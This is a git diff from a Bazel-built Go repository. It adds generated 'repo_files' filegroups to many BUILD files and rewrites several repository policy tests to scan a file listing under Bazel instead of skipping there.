a/internal/testutil/fixtures/BUILD.bazel b/internal/testutil/fixtures/BUILD.bazel index 4f79f92a7..aee139035 100644 --- a/internal/testutil/fixtures/BUILD.bazel +++ b/internal/testutil/fixtures/BUILD.bazel @@ -25,3 +25,25 @@ go_test( "//internal/types", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/testutil/integration/BUILD.bazel b/internal/testutil/integration/BUILD.bazel index f34816ff5..fcc3fc611 100644 --- a/internal/testutil/integration/BUILD.bazel +++ b/internal/testutil/integration/BUILD.bazel @@ -79,3 +79,25 @@ go_test( env = {"BEADS_TEST_GO_BINARY": "$(rlocationpath @go_sdk//:bin/go)"}, tags = ["integration-only"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/timeparsing/BUILD.bazel b/internal/timeparsing/BUILD.bazel index 3455ac0bc..200d3d297 100644 --- a/internal/timeparsing/BUILD.bazel +++ b/internal/timeparsing/BUILD.bazel @@ -20,3 +20,25 @@ go_test( ], embed = [":timeparsing"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/tracker/BUILD.bazel b/internal/tracker/BUILD.bazel index e0cadf8b6..491df98bd 100644 --- a/internal/tracker/BUILD.bazel +++ b/internal/tracker/BUILD.bazel @@ -108,3 +108,25 @@ sh_test( }, tags = ["dolt-server"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/tracker/conformance/BUILD.bazel b/internal/tracker/conformance/BUILD.bazel index 0fa79e36d..660c18c85 100644 --- a/internal/tracker/conformance/BUILD.bazel +++ b/internal/tracker/conformance/BUILD.bazel @@ -51,3 +51,25 @@ sh_test( }, tags = ["dolt-server"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/types/BUILD.bazel b/internal/types/BUILD.bazel index 82e7ed542..1b2a611cf 100644 --- a/internal/types/BUILD.bazel +++ b/internal/types/BUILD.bazel @@ -38,3 +38,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/ui/BUILD.bazel b/internal/ui/BUILD.bazel index b28b57666..d4bf16eb4 100644 --- a/internal/ui/BUILD.bazel +++ b/internal/ui/BUILD.bazel @@ -31,3 +31,25 @@ go_test( "@land_charm_lipgloss_v2//:lipgloss", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/uimd/BUILD.bazel b/internal/uimd/BUILD.bazel index b6bb87ea5..756358b1c 100644 --- a/internal/uimd/BUILD.bazel +++ b/internal/uimd/BUILD.bazel @@ -23,3 +23,25 @@ go_test( "@land_charm_glamour_v2//styles", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/utils/BUILD.bazel b/internal/utils/BUILD.bazel index 97d1a0e58..be3234d57 100644 --- a/internal/utils/BUILD.bazel +++ b/internal/utils/BUILD.bazel @@ -49,3 +49,25 @@ go_test( "//internal/types", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/validation/BUILD.bazel b/internal/validation/BUILD.bazel index 46bf8895d..53e2232aa 100644 --- a/internal/validation/BUILD.bazel +++ b/internal/validation/BUILD.bazel @@ -30,3 +30,25 @@ go_test( "//internal/types", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/versioncheck/BUILD.bazel b/internal/versioncheck/BUILD.bazel index b439bcb54..ffa55c8ad 100644 --- a/internal/versioncheck/BUILD.bazel +++ b/internal/versioncheck/BUILD.bazel @@ -18,3 +18,25 @@ go_test( embed = [":versioncheck"], deps = ["//internal/testutil/bazeltest"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/versioncheck/check_test.go b/internal/versioncheck/check_test.go index 71c4564ba..29da1ace4 100644 --- a/internal/versioncheck/check_test.go +++ b/internal/versioncheck/check_test.go @@ -12,7 +12,7 @@ import ( func TestRepositoryReleaseVersionsMatch(t *testing.T) { root := bazeltest.RepoRoot(t) report, err := Check(root) - if err != nil && !(bazeltest.IsBazel() && onlyNPMManifestUndeclared(t, root, report)) { + if err != nil { t.Fatalf("repository release metadata is inconsistent: %v", err) } if report.CheckedSources != 12 { @@ -623,28 +623,3 @@ func writeFixtureAt(t *testing.T, root, version string) { func stringPointer(value string) *string { return &value } - -// onlyNPMManifestUndeclared reports, and logs, whether the npm manifest is the -// one failing release surface and it failed because it is absent. npm-package/ -// is in .bazelignore, so no target can declare npm-package/package.json as data -// and a Bazel run never sees it; `go test` checks it against the real checkout. -func onlyNPMManifestUndeclared(t *testing.T, root string, report Report) bool { - t.Helper() - if _, err := os.Stat(filepath.Join(root, "npm-package", "package.json")); !os.IsNotExist(err) { - return false - } - npmMissing := false - for _, source := range report.Sources { - switch { - case source.Problem == "": - case source.Description == "npm package.json": - npmMissing = true - default: - return false - } - } - if npmMissing { - t.Log("npm-package/ is in .bazelignore, so npm-package/package.json cannot be declared as data; checked under go test") - } - return npmMissing -} diff --git a/internal/workapi/BUILD.bazel b/internal/workapi/BUILD.bazel index 162b4258d..ff896671c 100644 --- a/internal/workapi/BUILD.bazel +++ b/internal/workapi/BUILD.bazel @@ -73,3 +73,25 @@ go_test( "//issueops", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/workapi/storecounter/BUILD.bazel b/internal/workapi/storecounter/BUILD.bazel index e200739bd..04b67721e 100644 --- a/internal/workapi/storecounter/BUILD.bazel +++ b/internal/workapi/storecounter/BUILD.bazel @@ -12,3 +12,25 @@ go_library( "//issueops", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/workapi/storequerier/BUILD.bazel b/internal/workapi/storequerier/BUILD.bazel index 72cb226c6..a8d2e6149 100644 --- a/internal/workapi/storequerier/BUILD.bazel +++ b/internal/workapi/storequerier/BUILD.bazel @@ -11,3 +11,25 @@ go_library( "//issueops", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/workapi/storereader/BUILD.bazel b/internal/workapi/storereader/BUILD.bazel index 16a5105dc..84e40c33e 100644 --- a/internal/workapi/storereader/BUILD.bazel +++ b/internal/workapi/storereader/BUILD.bazel @@ -23,3 +23,25 @@ go_test( "//issueops", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/workapi/storereadycounter/BUILD.bazel b/internal/workapi/storereadycounter/BUILD.bazel index 8ab96877b..6cde32faf 100644 --- a/internal/workapi/storereadycounter/BUILD.bazel +++ b/internal/workapi/storereadycounter/BUILD.bazel @@ -11,3 +11,25 @@ go_library( "//issueops", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/workapi/storestats/BUILD.bazel b/internal/workapi/storestats/BUILD.bazel index f29b27789..7b009776b 100644 --- a/internal/workapi/storestats/BUILD.bazel +++ b/internal/workapi/storestats/BUILD.bazel @@ -12,3 +12,25 @@ go_library( "//issueops", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/workapi/storeversionreconciler/BUILD.bazel b/internal/workapi/storeversionreconciler/BUILD.bazel index 7d5b03eec..db79c94b7 100644 --- a/internal/workapi/storeversionreconciler/BUILD.bazel +++ b/internal/workapi/storeversionreconciler/BUILD.bazel @@ -11,3 +11,25 @@ go_library( "//issueops", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/workapi/storeworkspaceconfig/BUILD.bazel b/internal/workapi/storeworkspaceconfig/BUILD.bazel index 33fe08f81..c65c1f592 100644 --- a/internal/workapi/storeworkspaceconfig/BUILD.bazel +++ b/internal/workapi/storeworkspaceconfig/BUILD.bazel @@ -11,3 +11,25 @@ go_library( "//issueops", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/workspacegate/BUILD.bazel b/internal/workspacegate/BUILD.bazel index 530171afb..db9bf9acf 100644 --- a/internal/workspacegate/BUILD.bazel +++ b/internal/workspacegate/BUILD.bazel @@ -14,3 +14,25 @@ go_test( embed = [":workspacegate"], deps = ["//internal/testutil/bazeltest"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/worktreeremove/BUILD.bazel b/internal/worktreeremove/BUILD.bazel index ea9020fcb..97c70cf13 100644 --- a/internal/worktreeremove/BUILD.bazel +++ b/internal/worktreeremove/BUILD.bazel @@ -12,3 +12,25 @@ go_test( srcs = ["policy_test.go"], embed = [":worktreeremove"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/issueops/BUILD.bazel b/issueops/BUILD.bazel index 3e26c2f1a..1878a4e17 100644 --- a/issueops/BUILD.bazel +++ b/issueops/BUILD.bazel @@ -68,3 +68,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/journalops/BUILD.bazel b/journalops/BUILD.bazel index 47588b368..e42f82468 100644 --- a/journalops/BUILD.bazel +++ b/journalops/BUILD.bazel @@ -23,3 +23,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/memoryops/BUILD.bazel b/memoryops/BUILD.bazel index f4d5c924c..be45b9fa1 100644 --- a/memoryops/BUILD.bazel +++ b/memoryops/BUILD.bazel @@ -24,3 +24,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/plugins/beads/BUILD.bazel b/plugins/beads/BUILD.bazel index 152264079..618b55c28 100644 --- a/plugins/beads/BUILD.bazel +++ b/plugins/beads/BUILD.bazel @@ -31,3 +31,25 @@ exports_files( ], visibility = ["//:__pkg__"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/schema/BUILD.bazel b/schema/BUILD.bazel index c2de6036f..08eae5b47 100644 --- a/schema/BUILD.bazel +++ b/schema/BUILD.bazel @@ -13,3 +13,25 @@ go_test( srcs = ["schema_test.go"], deps = [":schema"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index a7be32561..4f4b2e617 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -1,19 +1,16 @@ load("@rules_go//go:def.bzl", "go_test") -# CI and repo-policy tests: they parse the workflows and run the CI shell -# scripts against fixtures. +# CI and repo-policy tests: they parse the workflows, run the CI shell scripts +# against fixtures, and check repository-wide rules (BUILD tag taxonomy, skip +# allowlist, managed BUILD blocks, shard manifests, tracked-file scans) over +# //:repo_files, the checkout as Bazel sees it. # -# Tags: -# host-tools: the scripts and fixtures run the host's git, python3, awk, -# sed, find, grep and timeout (beyond the bash the test wrapper needs). -# Under Bazel a missing git or bash fails the test (under go test it -# skips). -# no-remote-exec: so they always run where that inventory is known (the -# developer machine or the CI runner). The farm workers do have these -# tools today (the target passes there), so this can be dropped once that -# is guaranteed. -# no-remote-cache: the action key does not cover the host's tools, so a -# result from one host is neither uploaded for nor served to another. +# No tags: they run remotely like any other target. The scripts and fixtures +# run bash, git, python3, jq, yq, curl, openssl, unzip and coreutils from the +# executor (the rbe-west worker image, or the runner in fork-cache mode); a +# missing tool fails the test under Bazel instead of skipping it +# (host_tools_test.go), so a cached pass never stands for an executor that +# could not run it. Go and the release formula come in hermetically. go_test( name = "scripts_test", srcs = [ @@ -53,22 +50,18 @@ go_test( "windows_test_binaries_manifest_test.go", ], data = [ - ":scripts_files", - "//:.githooks/pre-commit", - "//:.goreleaser.yml", - "//:bazel_policy_files", - "//:engdocs/LINTING.md", - "//:mcp_package_policy_files", - "//:test_sh_files", - "//:workflow_files", - "//internal/testutil:testdoltcommon.go", - "//tools/bazel:dolt.bzl", - ], - tags = [ - "host-tools", - "no-remote-cache", - "no-remote-exec", + "//:repo_files", + "@beads_formulas//:beads-release.formula.toml", + "@go_sdk//:bin/go", + "@go_sdk//:files", ], + # The release formula lives in .beads/ (in .bazelignore: it also holds + # live bd data), so it comes in through its own local repository. The Go + # SDK is go.mod's toolchain, whatever go the executor has on PATH. + env = { + "BEADS_TEST_GO": "$(rlocationpath @go_sdk//:bin/go)", + "BEADS_TEST_RELEASE_FORMULA": "$(rlocationpath @beads_formulas//:beads-release.formula.toml)", + }, deps = [ "//internal/formula", "//internal/testutil/bazeltest", @@ -77,20 +70,6 @@ go_test( ], ) -# The scripts scripts_test reads and runs (CI helpers, check-*.sh, release.sh, -# test.sh, conformance.sh, ...). Globs stop at subpackages, so this is only -# this package's own tree. -filegroup( - name = "scripts_files", - srcs = glob( - ["**"], - exclude = [ - "BUILD.bazel", - "**/*_test.go", - ], - ), -) - exports_files( ["migration-test/release-catalog.json"], visibility = ["//scripts/migration-test/catalog:__pkg__"], @@ -105,11 +84,6 @@ exports_files( visibility = ["//scripts/prlintmake:__pkg__"], ) -exports_files( - ["README.md"], - visibility = ["//:__pkg__"], -) - exports_files( ["ci/gofmt-bin.sh"], visibility = ["//scripts/prlintmake:__pkg__"], @@ -121,3 +95,25 @@ exports_files( ["check-versions.sh"], visibility = ["//scripts/check-versions:__pkg__"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index f4eb0b6d4..adb795b6d 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -11,6 +11,8 @@ import ( "strconv" "strings" "testing" + + "github.com/steveyegge/beads/internal/testutil/bazeltest" ) // Policy tests for the side-by-side Bazel configuration. They are plain Go @@ -443,6 +445,68 @@ func gitRepoAvailable(root string) bool { return exec.Command("git", "-C", root, "rev-parse", "--is-inside-work-tree").Run() == nil } +// repoFiles lists the repository's tracked files under root, repo-relative and +// slash-separated, each a regular file (or, in a local runfiles tree, a +// symlink to one). Under `go test` in a git checkout that is `git ls-files` +// less what the working tree no longer holds; under Bazel it is the runfiles +// tree, whose repository part is //:repo_files (every tracked file outside +// .bazelignore, tools/bazel/go_srcs.py); elsewhere every file under root. +func repoFiles(t *testing.T, root string) []string { + t.Helper() + var files []string + if bazeltest.IsBazel() || !gitRepoAvailable(root) { + err := filepath.WalkDir(root, func(path string, d os.DirEntry, err error) error { + if err != nil { + return err + } + if d.IsDir() || !isFileOrFileLink(path, d) { + return nil + } + rel, err := filepath.Rel(root, path) + if err != nil { + return err + } + files = append(files, filepath.ToSlash(rel)) + return nil + }) + if err != nil { + t.Fatalf("walk %s: %v", root, err) + } + } else { + out, err := exec.Command("git", "-C", root, "ls-files", "-z").Output() + if err != nil { + t.Fatalf("git ls-files: %v", err) + } + for _, rel := range strings.Split(strings.TrimRight(string(out), "\x00"), "\x00") { + info, err := os.Lstat(filepath.Join(root, filepath.FromSlash(rel))) + if err != nil || !info.Mode().IsRegular() { + continue // deleted in the worktree, submodule, or symlink + } + files = append(files, rel) + } + } + // Sanity: an empty or partial runfiles tree would pass every scan. + if len(files) < 1000 { + t.Fatalf("found only %d repository files under %s; the listing is broken", len(files), root) + } + return files +} + +// isFileOrFileLink reports whether a WalkDir entry is a regular file or a +// symlink to one. Bazel's local runfiles trees are symlink forests, so a walk +// that skipped symlinks would see no file there; a symlink to a directory +// (Bazel's bazel-* convenience links in a checkout) is never followed. +func isFileOrFileLink(path string, d os.DirEntry) bool { + if d.Type().IsRegular() { + return true + } + if d.Type()&os.ModeSymlink == 0 { + return false + } + info, err := os.Stat(path) + return err == nil && info.Mode().IsRegular() +} + func TestBazelNoRemoteEndpointsInTrackedFiles(t *testing.T) { // Fixtures are assembled at runtime so this file never contains a literal // endpoint itself. @@ -554,23 +618,12 @@ func TestBazelNoRemoteEndpointsInTrackedFiles(t *testing.T) { } root := bazelPolicyRoot(t) - if !gitRepoAvailable(root) { - t.Skip("not a git checkout (e.g. Bazel sandbox); tracked-file scan runs under go test and CI") - } - out, err := exec.Command("git", "-C", root, "ls-files", "-z", "--", "*bazelrc*", "*.md", ".github").Output() - if err != nil { - t.Fatalf("git ls-files: %v", err) - } var hits []endpointHit - for _, rel := range strings.Split(strings.TrimRight(string(out), "\x00"), "\x00") { + for _, rel := range repoFiles(t, root) { scan, strict := remoteScanKind(rel) if !scan { continue } - info, err := os.Lstat(filepath.Join(root, rel)) - if err != nil || !info.Mode().IsRegular() { - continue // deleted in the worktree, submodule, or symlink - } content, err := os.ReadFile(filepath.Join(root, rel)) if err != nil { t.Fatalf("read %s: %v", rel, err) @@ -589,27 +642,28 @@ func TestBazelNoRemoteEndpointsInTrackedFiles(t *testing.T) { // this file does not match itself. func TestNoLocalPlanPathsInTrackedFiles(t *testing.T) { root := bazelPolicyRoot(t) - if !gitRepoAvailable(root) { - t.Skip("not a git checkout (e.g. Bazel sandbox); tracked-file scan runs under go test and CI") - } - needle := "beads-" + "bazel-plan" - out, err := exec.Command("git", "-C", root, "grep", "-n", "-I", "-F", "-e", needle).Output() - if err != nil { - var exitErr *exec.ExitError - if errors.As(err, &exitErr) && exitErr.ExitCode() == 1 { - return // no matches + needle := []byte("beads-" + "bazel-plan") + for _, rel := range repoFiles(t, root) { + content, err := os.ReadFile(filepath.Join(root, filepath.FromSlash(rel))) + if err != nil { + t.Fatalf("read %s: %v", rel, err) + } + if bytes.IndexByte(content, 0) >= 0 { + continue // binary, as git grep -I + } + for n, line := range bytes.Split(content, []byte("\n")) { + if bytes.Contains(line, needle) { + t.Errorf("%s:%d: tracked file references a local, non-repo %s path; point at an in-repo doc, bead or PR instead", rel, n+1, needle) + } } - t.Fatalf("git grep: %v", err) - } - for _, line := range strings.Split(strings.TrimSpace(string(out)), "\n") { - t.Errorf("%s: tracked file references a local, non-repo %s path; point at an in-repo doc, bead or PR instead", line, needle) } } // --- generated go_srcs filegroups are current ------------------------------- -// These checks walk the source checkout, which is not declared as Bazel data, -// so they run under plain `go test` (the gating lane) and skip under Bazel. +// These checks walk the source checkout: under Bazel, //:repo_files, which +// holds every package's BUILD.bazel (a package missing its repo_files block +// is what `make bazel-sync-check` fails on). var ( treeGoSrcsRe = regexp.MustCompile(`(?s)filegroup\(\s*name\s*=\s*"tree_go_srcs",\s*srcs\s*=\s*\[(.*?)\]`) @@ -682,8 +736,8 @@ func diffStringSets(want, got []string) (missing, extra []string) { } // goSrcsTrees are the tools/bazel/go_srcs.py TREES roots. A test that walks -// one of these trees under Bazel sees only the packages its tree_go_srcs -// lists, so an unlisted package makes the walk pass vacuously. +// one of these trees through its tree_go_srcs sees only the packages listed +// there, so an unlisted package makes that walk pass vacuously. var goSrcsTrees = []string{"internal/storage"} func TestBazelTreeGoSrcsListsEveryPackage(t *testing.T) { @@ -695,9 +749,6 @@ func TestBazelTreeGoSrcsListsEveryPackage(t *testing.T) { t.Errorf("diffStringSets fixture: missing=%v extra=%v", missing, extra) } - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("walks the source checkout; runs under go test") - } root := sourceRepoRoot(t) script := readPolicyFile(t, root, "tools/bazel/go_srcs.py") for _, tree := range goSrcsTrees { @@ -729,13 +780,7 @@ func TestBazelTreeGoSrcsListsEveryPackage(t *testing.T) { // TestBazelGoSrcsBlocksCurrent runs `tools/bazel/go_srcs.py --check`, which // compares every managed block with what the script would generate. func TestBazelGoSrcsBlocksCurrent(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("reads the source checkout; runs under go test") - } - python, err := exec.LookPath("python3") - if err != nil { - t.Skip("python3 not available; TestBazelTreeGoSrcsListsEveryPackage still guards tree membership") - } + python := requireHostTool(t, "python3") cmd := exec.Command(python, filepath.Join("tools", "bazel", "go_srcs.py"), "--check") cmd.Dir = sourceRepoRoot(t) if out, err := cmd.CombinedOutput(); err != nil { @@ -745,13 +790,11 @@ func TestBazelGoSrcsBlocksCurrent(t *testing.T) { // --- no Bazel packages under the docs trees --------------------------------- -// //:docsync_files globs docs/** and engdocs/**; a glob stops at a package -// boundary, so a BUILD file under either tree would silently drop that -// subtree from //test/docsync's orphan and link checks. +// docs/ and engdocs/ are content (the Mintlify site and the engineering docs) +// that the root package's repo_files glob covers; they hold no code, so a +// BUILD file under either tree is a mistake (it would also split the subtree +// into a package of its own). func TestBazelNoPackagesUnderDocsTrees(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("walks the source checkout; runs under go test") - } root := sourceRepoRoot(t) for _, tree := range []string{"docs", "engdocs"} { err := filepath.WalkDir(filepath.Join(root, tree), func(path string, d os.DirEntry, err error) error { @@ -763,7 +806,7 @@ func TestBazelNoPackagesUnderDocsTrees(t *testing.T) { } if !d.IsDir() && (d.Name() == "BUILD.bazel" || d.Name() == "BUILD") { rel, _ := filepath.Rel(root, path) - t.Errorf("%s: no Bazel package may live under %s/ (it would cut that subtree out of //:docsync_files)", filepath.ToSlash(rel), tree) + t.Errorf("%s: no Bazel package may live under %s/ (docs trees are content, not code)", filepath.ToSlash(rel), tree) } return nil }) @@ -960,9 +1003,6 @@ func TestBazelTestTagsFollowTaxonomy(t *testing.T) { } } - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("walks every BUILD file in the source checkout; runs under go test") 